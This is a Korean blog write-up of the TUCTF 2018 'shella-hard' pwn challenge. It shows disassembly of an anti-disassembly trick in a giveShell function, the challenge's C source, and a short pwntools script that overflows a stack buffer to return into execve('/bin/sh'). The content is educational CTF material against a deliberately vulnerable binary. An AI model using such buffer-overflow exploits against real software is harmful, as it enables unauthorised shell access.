Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- PMA
- FSB
- reversing
- pwnable.kr
- pico
- pwn
- Read
- Bottle
- 2018
- CANARY
- anti
- Leak
- ASM
- TUCTF
- practicalmalwareanalysis
- Rookiss
- format
- BOF
- string
- Reverse
- CTF
- writeup
- shellcode
- pwnable
- shellcraft
- toddler
- Bug
- picoCTF
- Toddler's Bottle
- rev
Archives
- Today
- Total
제리의 블로그
TUCTF 2018 PWN shella-hard 본문
TUCTF 2018 PWN shella-hard
요약
안티 디스어셈블링(?) 기법이 적용된 바이너리였다.
심볼 중에 giveShell 이라는 사용자 정의 함수가 있었다.
BOF 를 통해서 RET 를 덮는 방식으로 giveShell 을 불러봤으나 쉘을 따지지 않았다.
giveShell 을 자세히 보니 코드가 깨져있는것처럼 보였고
살짝만 바꿔주면 execve("/bin/sh", 0, 0); 가 보인다.
해당 주소로 리턴시켜주면 된다.
.text:08048458 public giveShell
.text:08048458 giveShell proc near
.text:08048458 push ebp ; path
.text:08048459 mov ebp, esp
.text:0804845B nop
.text:0804845B ; ---------------------------------------------------------------------------
.text:0804845C db 0A1h ;
.text:0804845D ; ---------------------------------------------------------------------------
.text:0804845D inc esp
.text:0804845E push 0 ; envp
.text:08048460 push 0 ; argv
.text:08048462 push offset path ; "/bin/sh"
.text:08048467 call _execve
.text:0804846C add esp, 0Ch
.text:0804846F nop
.text:08048470 leave
.text:08048471 retn
.text:08048471 giveShell endp ; sp-analysis failed
from pwn import *
e = ELF('./shella-hard')
r = e.process()
payload = ''
payload += p32(e.sym.giveShell+5) * 6
r.sendline(payload)
r.interactive()
// gcc -o shella-hard shella-hard.c -m32 -no-pie -fno-pic -mpreferred-stack-boundary=2
#include <unistd.h>
void giveShell();
void main()
{
char buf[0x10]; // [sp+0h] [bp-10h]@1
read(0, buf, 0x1Eu);
}
void giveShell()
{
asm("nop\n"
".byte 0xa1\n");
execve("/bin/sh", 0, 0);
}
'CTF > pwnable' 카테고리의 다른 글
TUCTF 2018 PWN Lisa (0) | 2018.11.27 |
---|---|
TUCTF 2018 PWN Timber (0) | 2018.11.27 |
TUCTF 2018 PWN Canary (0) | 2018.11.26 |
TUCTF 2018 PWN ehh (0) | 2018.11.26 |
TUCTF 2018 PWN shella-easy (0) | 2018.11.26 |
Comments